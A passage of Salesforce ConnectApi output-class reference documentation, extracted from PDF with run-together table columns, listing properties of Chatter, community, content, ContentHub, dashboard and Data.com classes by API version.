SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.ChatterActivity Class
Available
Version
DescriptionTypeName
28.0Total number of comments in the organization or community made
by the user
IntegercommentCount
28.0Total number of comments in the organization or community received
by the user
IntegercommentReceivedCount
28.0Total number of likes on posts and comments in the organization or
community received by the user
IntegerlikeReceivedCount
28.0Total number of posts in the organization or community made by the
user
IntegerpostCount
SEE ALSO:
ConnectApi.UserDetail Class
ConnectApi.ChatterConversation Class
Available VersionDescriptionTypeName
29.0The ID for the conversationStringconversationId
29.0Chatter REST API URL identifying the conversationStringconversationUrl
29.0List of users in the conversationList<ConnectApi.
UserSummary>
members
29.0The content of the conversationConnectApi.
Chatter
MessagePage
messages
1509
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
29.0Specifies if the conversation is read (true) or not read
(false)
Booleanread
ConnectApi.ChatterConversationPage Class
Available
Version
DescriptionTypeName
29.0List of conversations on the pageList<ConnectApi.Chatter
ConversationSummary>
conversations
29.0Token identifying the current page.StringcurrentPageToken
29.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
29.0Token identifying the next page or null if there is no
next page.
StringnextPageToken
29.0Chatter REST API URL identifying the next page or
null if there isn’t a next page. Check whether this
StringnextPageUrl
value is null before getting another page. If a page
doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
ConnectApi.ChatterConversationSummary Class
Available
Version
DescriptionTypeName
29.0The ID for the conversation summaryStringid
29.0The contents of the latest messageConnectApi.ChatterMessagelatestMessage
29.0List of members in the conversationList<ConnectApi.UserSummary>members
29.0Specifies if the conversation is read (true) or not read
(false)
Booleanread
29.0Chatter REST API URL to the conversation summaryStringurl
SEE ALSO:
ConnectApi.ChatterConversationPage Class
ConnectApi.ChatterGroup Class
This class is abstract.
1510
ConnectApi Output ClassesReference
Subclass of ConnectApi.ActorWithId Class
Superclass of:
•ConnectApi.ChatterGroupDetail Class
•ConnectApi.ChatterGroupSummary Class
Available
Version
DescriptionTypeName
30.0An additional label for the group, for example, “Archived,” “Private,” or “Private
With Customers.” If there isn’t an additional label, the value is null.
Stringadditional
Label
31.0The current announcement for this group. An announcement displays in a
designated location in the Salesforce UI until 11:59 p.m. on its expiration date,
unless it’s deleted or replaced by another announcement.
ConnectApi.
Announcement
announcement
36.0The banner photo for the group.ConnectApi.
BannerPhoto
bannerPhoto
28.0true if this group allows Chatter guestsBooleancanHave
ChatterGuests
28.0Information about the community the group is inConnectApi.
Reference
community
28.0Group’s descriptionStringdescription
30.0Group’s email address for posting to this group by email.
Returns null if Chatter emails and posting to Chatter by email aren’t both
enabled in your organization.
StringemailTo
ChatterAddress
29.0Specifies whether the group is archived (true) or not (false).BooleanisArchived
29.0Specifies whether automatic archiving is disabled for the group (true) or
not (false).
BooleanisAuto
ArchiveDisabled
36.0Specifies whether the group is a broadcast group (true) or not (false).
In a broadcast group, only group owners and managers can post to the group.
BooleanisBroadcast
31.0ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, of the most
recent feed element posted to the group.
DatetimelastFeedElement
PostDate
28.0–30.0ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, of the most
recent feed item posted to the group.
Use lastFeedElementPosted.
DatetimelastFeedItem
PostDate
28.0Total number of group membersIntegermemberCount
28.0Specifies the type of membership the user has with the group, such as group
owner, manager, or member.
ConnectApi.
GroupMembership
Type Enum
myRole
•GroupOwner
•GroupManager
•NotAMember
1511
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
•NotAMemberPrivateRequested
•StandardMember
28.0If the context user is a member of this group, contains information about that
subscription; otherwise, returns null.
ConnectApi.
Reference
mySubscription
28.0Name of the groupStringname
28.0Information about the owner of the groupConnectApi.
UserSummary
owner
28.0Information about the group photoConnectApi.Photophoto
28.0Specifies the group visibility type. Valid values are:ConnectApi.
GroupVisibility
Type Enum
visibility
•PrivateAccess—Only members of the group can see posts to this
group.
•PublicAccess—All users within the community can see posts to this
group.
•Unlisted—Reserved for future use.
ConnectApi.ChatterGroupDetail Class
Subclass of ConnectApi.ChatterGroup Class
Available
Version
DescriptionTypeName
28.0The number of files posted to the group.IntegerfileCount
28.0Describes the “Information” section of the group. In the Web UI, this section
is above the “Description” section. If the group is private, this section is
ConnectApi.
Group
Information
information
visible only to members. If the context user is not a member of the group
or does not have “Modify All Data” or “View All Data” permission, this value
is null.
29.0The number of requests to join a group that are in a pending state.Integerpending
Requests
SEE ALSO:
ConnectApi.ChatterGroupPage Class
1512
ConnectApi Output ClassesReference
ConnectApi.ChatterGroupPage Class
Available
Version
DescriptionTypeName
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
28.0List of group detailsList<ConnectApi.
Chatter
groups
Group
Detail>
28.0Chatter REST API URL identifying the next page or null if there isn’t a
next page. Check whether this value is null before getting another page.
StringnextPageUrl
If a page doesn’t exist, a ConnectApi.NotFoundException error
is returned.
28.0Chatter REST API URL identifying the previous page or null if there isn’t
a previous page.
Stringprevious
PageUrl
ConnectApi.ChatterGroupSummary Class
Subclass of ConnectApi.ChatterGroup Class
Available
Version
DescriptionTypeName
28.0The number of files posted to the group.IntegerfileCount
SEE ALSO:
ConnectApi.ChatterGroupSummaryPage Class
ConnectApi.UserGroupPage Class
ConnectApi.ChatterGroupSummaryPage Class
Available
Version
DescriptionTypeName
29.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
29.0List of group summary objectsList<ConnectApi.
ChatterGroup
Summary>
groups
29.0Chatter REST API URL identifying the next page or null if there
isn’t a next page. Check whether this value is null before
StringnextPageUrl
getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
1513
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
29.0Chatter REST API URL identifying the previous page or null if
there isn’t a previous page.
StringpreviousPageUrl
ConnectApi.ChatterLike Class
Available
Version
DescriptionTypeName
28.0Like’s 18-character IDStringid
28.0A reference to the liked comment or feed element.ConnectApi.
Reference
likedItem
28.0Like’s Chatter REST API URLStringurl
28.0Like’s creatorConnectApi.User
Summary
user
SEE ALSO:
ConnectApi.ChatterLikePage Class
ConnectApi.ChatterLikePage Class
Available
Version
DescriptionTypeName
28.0Token identifying the current page.IntegercurrentPageToken
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
32.0List of likesList<ConnectApi.
ChatterLike>
items
28.0–31.0List of likesList<ConnectApi.
ChatterLike>
likes
Important: As of API version 32.0, use the items
property.
28.0Token identifying the next page or null if there is no next page.IntegernextPageToken
28.0Chatter REST API URL identifying the next page or null if there
isn’t a next page. Check whether this value is null before getting
StringnextPageUrl
another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
28.0Token identifying the previous page or null if there is no
previous page.
IntegerpreviousPageToken
1514
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
28.0Chatter REST API URL identifying the previous page or null if
there isn’t a previous page.
StringpreviousPageUrl
28.0Total number of likes across all pagesIntegertotal
SEE ALSO:
ConnectApi.ChatterLikesCapability Class
ConnectApi.Comment Class
ConnectApi.ChatterLikesCapability Class
If a feed element has this capability, the context user can like it. Exposes information about existing likes.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0Indicates whether the feed element is liked by the
context user (true) or not (false).
BooleanisLikedBy
CurrentUser
32.0Likes information for this feed element.ConnectApi.
ChatterLikePage
page
32.0A message body that describes who likes the feed
element.
ConnectApi.
MessageBody
likesMessage
32.0If the context user has liked the feed element, this
property is a reference to the specific like, null
otherwise.
ConnectApi.
Reference
myLike
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.ChatterMessage Class
Available
Version
DescriptionTypeName
29.0Contents of the messageConnectApi.MessageBodybody
29.0The ID for the conversationStringconversationId
29.0Chatter REST API URL identifying the conversationStringconversationUrl
29.0The ID of the messageStringid
29.0List of the recipients of the messageList<ConnectApi.UserSummary>recipients
1515
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
29.0The sender of the messageConnectApi.UserSummarysender
32.0Information about the community from which the
message was sent
Returns null for the default community or if
communities aren’t enabled.
ConnectApi.ReferencesendingCommunity
29.0The date and time the message was sentDatetimesentDate
29.0Chatter REST API URL identifying the current page of
the conversation
Stringurl
SEE ALSO:
ConnectApi.ChatterConversationSummary Class
ConnectApi.ChatterMessagePage Class
ConnectApi.ChatterMessagePage Class
Available
Version
DescriptionTypeName
29.0Token identifying the current page.StringcurrentPageToken
29.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
29.0The messages on the current pageList<ConnectApi.ChatterMessage>messages
29.0Token identifying the next page or null if there is
no next page.
StringnextPageToken
29.0Chatter REST API URL identifying the next page or
null if there isn’t a next page. Check whether this
StringnextPageUrl
value is null before getting another page. If a page
doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
SEE ALSO:
ConnectApi.ChatterConversation Class
ConnectApi.ChatterStream
A Chatter feed stream.
1516
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Date the stream was created.DatetimecreatedDate
39.0Description of the stream.Stringdescription
39.018-character ID of the stream.Stringid
39.0Name of the stream.Stringname
39.0List of entities whose feeds are included in the stream.List<ConnectApi.
FeedEnabledEntity>
subscriptions
39.0URL to the stream.Stringurl
SEE ALSO:
ConnectApi.ChatterStreamPage
ConnectApi.ChatterStreamPage
A collection of Chatter feed streams.
Available VersionDescriptionTypeProperty Name
39.0URL to the current page of streams.StringcurrentPageUrl
39.0List of streams.List<ConnectApi.
ChatterStream>
items
39.0URL to the next page of streams.
In version 39.0, all streams are included in
currentPageUrl and nextPageUrl is
null.
StringnextPageUrl
39.0Total number of streams in the collection.Integertotal
ConnectApi.ClientInfo Class
Available
Version
DescriptionTypeName
28.0Name of the connected app used for authentication.StringapplicationName
28.0Value from the Info URL field of the connected app used for
authentication
StringapplicationUrl
SEE ALSO:
ConnectApi.Comment Class
ConnectApi.FeedItem Class
1517
ConnectApi Output ClassesReference
ConnectApi.Comment Class
Available
Version
DescriptionTypeName
28.0–31.0If the comment contains an attachment, property value is
ContentAttachment. If the comment does not contain
an attachment, it is null.
ConnectApi.FeedItem
Attachment
attachment
Important: As of version 32.0, use the
capabilities property.
28.0Body of the comment.ConnectApi.FeedBodybody
32.0Capabilities associated with the comment, such as any file
attachments.
ConnectApi.
CommentCapabilities
capabilities
28.0Information about the connected app used to authenticate
the connection.
ConnectApi.
ClientInfo
clientInfo
28.0ISO8601 date string, for example, 2011-02-25T18:24:31.000Z.DatetimecreatedDate
Feed element on which the comment is posted.ConnectApi.
Reference
feedElement
28.0–31.0Feed item on which the comment is posted.ConnectApi.
Reference
feedItem
Important: As of version 32.0, use the
feedElement property.
28.0Comment’s 18–character ID.Stringid
28.0If this property is true, the context user can’t delete the
comment. If it’s false, the context user might be able to
delete the comment.
BooleanisDelete
Restricted
28.0The first page of likes for the comment.
This property has no information for comments on direct
messages.
ConnectApi.Chatter
LikePage
likes
28.0A message body that describes who likes the comment.
This property is null for comments on direct messages.
ConnectApi.Message
Body
likesMessage
29.0Information about the moderation flags on a comment. If
ConnectApi.Features.communityModeration
is false, this property is null.
ConnectApi.
ModerationFlags
moderation
Flags
28.0If the context user liked the comment, this property is a
reference to the specific like, null otherwise.
This property is null for comments on direct messages.
ConnectApi.
Reference
myLike
28.0Information about the parent feed-item for this comment.ConnectApi.
Reference
parent
1518
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
28.0The created date formatted as a relative, localized string, for
example, “17m ago” or “Yesterday.”
StringrelativeCreatedDate
28.0Specifies the type of comment.ConnectApi.
CommentType Enum
type
•ContentComment—Comment holds a content
capability.
•TextComment—Comment contains only text.
28.0Chatter REST API URL to this comment.Stringurl
28.0Information about the comment author.ConnectApi.User
Summary
user
SEE ALSO:
ConnectApi.CommentPage Class
ConnectApi.QuestionAndAnswersCapability Class
ConnectApi.CommentCapabilities Class
A set of capabilities on a comment.
Available VersionDescriptionTypeProperty Name
32.0If a comment has this capability, it has a file
attachment.
Most ConnectApi.ContentCapability
properties are null if the content has been deleted
ConnectApi.
ContentCapability
content
from the feed element or if the access has changed
to private.
34.0If a comment has this capability, users who have
permission can edit it.
ConnectApi.
EditCapability
edit
38.0If a comment has this capability, it has a status that
determines its visibility.
ConnectApi.
StatusCapability
status
SEE ALSO:
ConnectApi.Comment Class
1519
ConnectApi Output ClassesReference
ConnectApi.CommentPage Class
Available
Version
DescriptionTypeName
28.0–31.0Collection of comments.List<ConnectApi.
Comment>
comments
Important: As of version 32.0, use the items property.
28.0Token identifying the current page.StringcurrentPageToken
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
32.0Collection of comments for this feed element.List<ConnectApi.
Comment>
items
28.0Token identifying the next page or null if there is no next page.
If you want to read more of the comments in search results, all the
comments in the thread are refreshed, not just the ones that match the
StringnextPageToken
search term. Avoid using nextPageToken until the comments are
refreshed.
28.0Chatter REST API URL identifying the next page or null if there isn’t a
next page. Check whether this value is null before getting another
StringnextPageUrl
page. If a page doesn’t exist, a ConnectApi.NotFoundException
error is returned.
If you want to read more of the comments in search results, all the
comments in the thread are refreshed, not just the ones that match the
search term. Avoid using nextPageUrl until the comments are
refreshed.
28.0Total number of published comments for the parent feed element.Integertotal
SEE ALSO:
ConnectApi.CommentsCapability Class
ConnectApi.CommentsCapability Class
If a feed element has this capability, the context user can add a comment to it.
Subclass of ConnectApi.FeedElementCapability Class.
1520
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0The comments information for this feed element.ConnectApi.
CommentPage
Class
page
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.Community Class
Available
Version
DescriptionTypeName
31.0Specifies if guest users can access public groups in the community without
logging in.
BooleanallowChatter
AccessWithoutLogin
30.0Specifies if members of the community can flag contentBooleanallowMembers
ToFlag
28.0Community descriptionStringdescription
28.0Community IDStringid
28.0User can invite other external users to the communityBooleaninvitationsEnabled
30.0Specifies whether knowledgeable people and endorsements are available
for topics (true), or not (false).
Booleanknowledgeable
Enabled
36.0Login URL for the community.StringloginUrl
28.0Community nameStringname
32.0Specifies whether nicknames are displayed in the community.BooleannicknameDisplay
Enabled
30.0Specifies whether members of the community can send and receive
private messages to and from other members of the community (true)
or not (false).
BooleanprivateMessages
Enabled
31.0Specifies whether reputation is calculated and displayed for members of
the community.
BooleanreputationEnabled
28.0Send email to all new users when they joinBooleansendWelcomeEmail
30.0Site URL for the community, which is the custom domain plus a URL prefixStringsiteUrl
28.0Specifies the status of the community.ConnectApi.
CommunityStatus
Enum
status
•Live
•Inactive
•UnderConstruction
1521
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
28.0Full URL to communityStringurl
28.0Community-specific URL prefixStringurlPathPrefix
SEE ALSO:
ConnectApi.CommunityPage Class
ConnectApi.CommunityPage Class
Available VersionDescriptionTypeName
28.0List of communities context user has access toList<ConnectApi.
Community>
communities
28.0Total number of communitiesIntegertotal
ConnectApi.ComplexSegment Class
This class is abstract.
Subclass of ConnectApi.MessageSegment Class
Superclass of ConnectApi.FieldChangeSegment Class
ComplexSegments are only part of field changes.
Available VersionDescriptionTypeName
28.0List of message segments.List<ConnectApi.
MessageSegment>
segments
ConnectApi.CompoundRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field that is a composite of subfields.
Available VersionDescriptionTypeName
29.0A collection of subfields that make up the compound field.List<ConnectApi.
Abstract
RecordField>
fields
ConnectApi.Content
A file attached to a feed item.
1522
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
36.0MD5 checksum for the file.Stringchecksum
36.0URL of the content for links.StringcontentUrl
36.0Description of the attachment.Stringdescription
36.0URL to the content.StringdownloadUrl
36.0Extension of the file.StringfileExtension
36.0Size of the file in bytes. If size can’t be determined,
returns unknown.
StringfileSize
36.0Type of file, such as PDF.StringfileType
36.0true if the file has a PDF preview available; false
otherwise.
BooleanhasPdfPreview
36.018-character ID of the content.Stringid
36.0true if the file is synced with Salesforce Files Sync.BooleanisInMyFileSync
36.0MIME type of the file.StringmimeType
36.0URL to the rendition resource for the file. For shared
files, renditions process asynchronously after upload.
StringrenditionUrl
For private files, renditions process when the first file
preview is requested, and aren’t available
immediately after the file is uploaded.
36.0URL to the 240 x 180 pixel rendition resource for the
file. For shared files, renditions process
StringrenditionUrl
240By180
asynchronously after upload. For private files,
renditions process when the first file preview is
requested, and aren’t available immediately after the
file is uploaded.
36.0URL to the 720 x 480 pixel rendition resource for the
file. For shared files, renditions process
StringrenditionUrl
720By480
asynchronously after upload. For private files,
renditions process when the first file preview is
requested, and aren’t available immediately after the
file is uploaded.
36.0Sharing option of the file. Values are:ConnectApi.
FileSharingOption
sharingOption
•Allowed—Resharing of the file is allowed.
•Restricted—Resharing of the file is
restricted.
36.0Text preview of the file if available; null otherwise.StringtextPreview
1523
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
36.0Specifies the rendering status of the 120 x 90 preview
image of the file. One of these values:
Stringthumb120By90
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
36.0Specifies the rendering status of the 240 x 180
preview image of the file. One of these values:
Stringthumb240By180
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
36.0Specifies the rendering status of the 720 x 480
preview image of the file. One of these values:
Stringthumb720By480
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
36.0Title of the file.Stringtitle
36.0Version ID of the file.StringversionId
SEE ALSO:
ConnectApi.FilesCapability
ConnectApi.ContentAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.ContentCapability is used.
Subclass of ConnectApi.FeedItemAttachment Class
Objects of this type are returned by attachments in feed items with the type ContentPost.
Available VersionDescriptionTypeName
28.0–31.0MD5 checksum for the fileStringcheckSum
31.0–31.0URL for link files and Google Docs; otherwise the value is null.StringcontentUrl
28.0–31.0Description of the attachmentStringdescription
28.0–31.0File’s URL. This value is null if the content is a link or a Google Doc.StringdownloadUrl
1524
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0–31.0File’s extensionConnectApi.UserSummary ClassStringfileExtension
28.0–31.0Size of the file in bytes. If size cannot be determined, returns
unknown.
StringfileSize
28.0–31.0Type of fileStringfileType
28.0–29.0true if the file has a preview image available, otherwise ,falseBooleanhasImagePreview
28.0–31.0true if the file has a PDF preview available, otherwise, falseBooleanhasPdfPreview
28.0–31.0Content’s 18-character IDStringid
28.0–31.0true if the file is synced withSalesforce Files Sync; false otherwise.BooleanisInMyFileSync
28.0–31.0File’s MIME typeStringmimeType
28.0–31.0URL to the file’s rendition resourceStringrenditionUrl
30.0–31.0URL to the 240 x 180 rendition resource for the file.For shared files,
renditions process asynchronously after upload. For private files,
StringrenditionUrl
240By180
renditions process when the first file preview is requested, and aren’t
available immediately after the file is uploaded.
30.0–31.0URL to the 720 x 480 rendition resource for the file.For shared files,
renditions process asynchronously after upload. For private files,
StringrenditionUrl
720By480
renditions process when the first file preview is requested, and aren’t
available immediately after the file is uploaded.
30.0–31.0Text preview of the file if available; null otherwise.StringtextPreview
30.0–31.0Specifies the rendering status of the 120 x 90 preview image of the
file. One of these values:
Stringthumb120By90
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
30.0–31.0Specifies the rendering status of the 240 x 180 preview image of the
file. One of these values:
Stringthumb240By180
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
30.0–31.0Specifies the rendering status of the 720 x 480 preview image of the
file. One of these values:
Stringthumb720By480
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
1525
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
28.0–31.0Title of the fileStringtitle
28.0–31.018-character ID for this version of the contentStringversionId
ConnectApi.ContentCapability
If a comment has this capability, it has a file attachment.
Subclass of ConnectApi.FeedElementCapability Class.
For files attached to a feed post (instead of a comment) in version 36.0 and later, use ConnectApi.FilesCapability.
If content is deleted from a feed element after it’s posted or if the access to the content is changed to private, the ConnectApi.
ContentCapability exists, however most of its properties are null.
Available VersionDescriptionTypeProperty Name
32.0MD5 checksum for the file.Stringchecksum
32.0URL of the content for links and Google docs.StringcontentUrl
32.0Description of the attachment.Stringdescription
32.0URL to the content.StringdownloadUrl
32.0Extension of the file.StringfileExtension
32.0Size of the file in bytes. If size cannot be determined,
returns Unknown.
StringfileSize
32.0Type of file.StringfileType
32.0true if the file has a PDF preview available, false
otherwise.
BooleanhasPdfPreview
32.018-character ID of the content.Stringid
32.0true if the file is synced withSalesforce Files Sync;
false otherwise.
BooleanisInMyFileSync
32.0MIME type of the file.StringmimeType
32.0URL to the rendition resource for the file. Renditions
are processed asynchronously and may not be
StringrenditionUrl
available immediately after the file has been
uploaded.
32.0URL to the 240x180 size rendition resource for the
file. Renditions are processed asynchronously and
StringrenditionUrl240By180
may not be available immediately after the file has
been uploaded.
1526
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0URL to the 720x480 size rendition resource for the
file. Renditions are processed asynchronously and
StringrenditionUrl720By480
may not be available immediately after the file has
been uploaded.
35.0Sharing option of the file. Values are:ConnectApi.
FileSharingOption
sharingOption
•Allowed—Resharing of the file is allowed.
•Restricted—Resharing of the file is
restricted.
32.0Text preview of the file if available, null otherwise.
The maximum number of characters is 200.
StringtextPreview
32.0The status of the rendering of the 120x90 pixel sized
preview image of the file. Should be either
Processing, Failed, Success, or Na if unavailable.
Stringthumb120By90
RenditionStatus
32.0The status of the rendering of the 240x180 pixel sized
preview image of the file. Should be either
Processing, Failed, Success, or Na if unavailable.
Stringthumb240By180
RenditionStatus
32.0The status of the rendering of the 720x480 pixel sized
preview image of the file. Should be either
Processing, Failed, Success, or Na if unavailable.
Stringthumb720By480
RenditionStatus
32.0Title of the file.Stringtitle
32.0Version ID of the file.StringversionId
SEE ALSO:
ConnectApi.CommentCapabilities Class
ConnectApi.ContentHubAllowedItemTypeCollection
The item types that the context user is allowed to create in a repository folder.
Available VersionDescriptionTypeProperty Name
39.0A collection of item types that the context user is
allowed to create in a repository folder.
List<ConnectApi.
ContentHub
ItemTypeSummary>
allowedItemTypes
ConnectApi.ContentHubFieldDefinition
A field definition.
1527
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Label or caption of this field.StringdisplayName
39.0Specifies whether this field is mandatory for the item
type.
BooleanisMandatory
39.0Maximum length of the value of this field.IntegermaxLength
39.0Name of the field.Stringname
39.0Specifies the data type of the value of the field. Values
are:
ConnectApi.
ContentHub
VariableType
type
•BooleanType
•DateTimeType
•DecimalType
•HtmlType
•IdType
•IntegerType
•StringType
•UriType
•XmlType
SEE ALSO:
ConnectApi.ContentHubItemTypeDetail
ConnectApi.ContentHubItemTypeDetail
The details of an item type associated with a repository folder.
Subclass of ConnectApi.AbstractContentHubItemType
Available VersionDescriptionTypeProperty Name
39.0A list of fields that the context user is allowed to set
in the metadata of this item type.
List<ConnectApi.
ContentHub
FieldDefinition>
fields
ConnectApi.ContentHubItemTypeSummary
The summary of an item type associated with a repository folder.
Subclass of ConnectApi.AbstractContentHubItemType
No additional properties.
SEE ALSO:
ConnectApi.ContentHubAllowedItemTypeCollection
1528
ConnectApi Output ClassesReference
ConnectApi.ContentHubPermissionType
A permission type.
Available VersionDescriptionTypeProperty Name
39.0Internal ID of the permission type in the repository.Stringid
39.0Label as returned by the repository.Stringlabel
SEE ALSO:
ConnectApi.ExternalFilePermissionInformation
ConnectApi.ContentHubProviderType
The type of repository.
Available VersionDescriptionTypeProperty Name
39.0Localized label of the provider type.Stringlabel
39.0Provider type. One of these values:Stringtype
•ContentHubBox
•ContentHubGDrive
•ContentHubSharepoint
•ContentHubSharepointOffice365
•ContentHubSharepointOneDrive
•SimpleUrl
SEE ALSO:
ConnectApi.ContentHubRepository
ConnectApi.ContentHubRepository
A repository.
Subclass of ConnectApi.ActorWithId Class
Available VersionDescriptionTypeProperty Name
39.0Repository features.ConnectApi.
ContentHub
RepositoryFeatures
features
39.0Repository label.Stringlabel
39.0Repository name.Stringname
1529
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Repository provider type.ConnectApi.
ContentHub
ProviderType
providerType
39.0URL to the list of items in the repository root folder.StringrootFolderItemsUrl
SEE ALSO:
ConnectApi.ContentHubRepositoryCollection
ConnectApi.ContentHubRepositoryCollection
A collection of repositories.
Available VersionDescriptionTypeProperty Name
39.0URL to the current page of repositories.StringcurrentPageUrl
39.0URL to the next page of repositories.StringnextPageUrl
39.0URL to the previous page of repositories.StringpreviousPageUrl
39.0Collection of repositories.List<ConnectApi.
ContentHub
Repository>
repositories
ConnectApi.ContentHubRepositoryFeatures
The features of a repository.
Available VersionDescriptionTypeProperty Name
39.0Specifies whether the repository’s folder hierarchy
can be browsed (true) or not (false).
BooleancanBrowse
39.0Specifies whether the repository can be searched
(true) or not (false).
BooleancanSearch
SEE ALSO:
ConnectApi.ContentHubRepository
ConnectApi.CurrencyRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing a currency value.
1530
ConnectApi Output ClassesReference
ConnectApi.CustomListAudienceCriteria
The criteria for the custom list type of recommendation audience.
Subclass of ConnectApi.AudienceCriteria.
Available VersionDescriptionTypeProperty Name
36.0Total number of members in the recommendation
audience.
IntegermemberCount
36.0The members of the recommendation audience.ConnectApi.
UserReferencePage
members
ConnectApi.DashboardComponentAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.DashboardComponent
SnapshotCapability is used.
Subclass of ConnectApi.FeedItemAttachment Class
Objects of this type are returned as attachments in feed items with type DashboardSnapshot.
Available VersionDescriptionTypeName
28.0–31.0Component’s 18–character IDStringcomponentId
28.0–31.0Name of the component. If no name is saved with the component,
returns the localized string, “Untitled Component.”
StringcomponentName
28.0–31.0Text displayed next to the actor in the body of a feed item. This is used
instead of the default body text. If no text is specified, and there is no
default body text, returns null.
StringdashboardBodyText
28.0–31.0Dashboard’s 18–character IDStringdashboardId
28.0–31.0Name of the dashboard.StringdashboardName
28.0–31.0URL of the full-sized dashboard imageStringfullSizeImageUrl
28.0–31.0ISO8601 date string, for example, 2011-02-25T18:24:31.000Z,
specifying when this dashboard was last refreshed.
DatetimelastRefreshDate
28.0–31.0The text of the last refresh date to be displayed, such as, “Last refreshed
on October 31, 2011.”
StringlastRefreshDate
DisplayText
28.0–31.0The user running the dashboard.ConnectApi.
User
Summary
runningUser
28.0–31.0URL of the thumbnail-sized dashboard image.StringthumbnailUrl
1531
ConnectApi Output ClassesReference
ConnectApi.DashboardComponentSnapshotCapability
If a feed element has this capability, it has a dashboard component snapshot. A snapshot is a static image of a dashboard component
at a specific point in time.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0The dashboard component snapshot.ConnectApi.
DashboardComponent
Snapshot
dashboardComponent
Snapshot
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.DashboardComponentSnapshot
Represents both dashboard component snapshots and alerts you receive when a dashboard component value crosses a threshold.
Available VersionDescriptionTypeProperty Name
32.018-character ID of the dashboard component.StringcomponentId
32.0The dashboard component name.StringcomponentName
32.0Display this text next to the actor in the feed
element.Use this text in place of the default body
text.
StringdashboardBodyText
32.018-character ID of the dashboard.StringdashboardId
32.0The name of the dashboard.StringdashboardName
32.0The source URL to retrieve the full-size image of a
snapshot. Access this URL with OAuth credentials.
StringfullSizeImageUrl
32.0ISO-8601 formatted date specifying when this
dashboard component was last refreshed.
DatetimelastRefreshDate
32.0Display text for the last refresh date, for example, “Last
Refreshed on October 31, 2013.”
StringlastRefresh
DateDisplayText
32.0The running user of the dashboard at the time the
snapshot was posted. This value may be null. Each
ConnectApi.
UserSummary
runningUser
dashboard has a running user, whose security settings
determine which data to display in a dashboard.
1532
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0The source URL to retrieve the thumbnail image of a
snapshot. Access this URL with OAuth credentials.
StringthumbnailUrl
SEE ALSO:
ConnectApi.DashboardComponentSnapshotCapability
ConnectApi.DatacloudCompanies Class
ConnectApi.DatacloudCompany Class
Information about a Data.com company.
All company information is visible for companies that you purchased and own. If you haven’t purchased a company, some of the fields
are hidden. Hidden fields are fully or partially hidden by asterisks “***.”
Available VersionDescriptionTypeProperty Name
32.0The number of active Data.com contacts who
work in the company.
IntegeractiveContacts
32.0The postal address for the company. This is
typically a physical address that can include the
city, state, street, and postal code.
ConnectApi.Addressaddress
32.0The amount of money that the company makes
in one year. Annual revenue is measured in US
dollars.
DoubleannualRevenue
32.0A unique numerical identifier for the company.
This is the Data.com identifier for a company.
StringcompanyId
32.0A brief synopsis of the company that provides
a general overview of the company and what it
does.
Stringdescription
32.0A randomly generated nine-digit number that’s
assigned by Dun & Bradstreet (D&B) to identify
unique business establishments.
StringdunsNumber
32.0A description of the type of industry such as
“Telecommunications,” “Agriculture,” or
“Electronics.”
Stringindustry
32.0Indicates whether this company is active (true)
or not (false). Inactive companies have
out-of-date information in Data.com.
BooleanisInactive
32.0BooleanisOwned •True: You or your organization owns this
company.
•False: Neither you nor your organization
owns this company.
1533
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0North American Industry Classification System
(NAICS) codes were created to provide more
StringnaicsCode
details about a business’s service orientation.
The code descriptions are focused on what a
business does.
32.0A description of the NAICS classification.StringnaicsDescription
32.0The name of the company.Stringname
32.0The number of employees who are working for
the company.
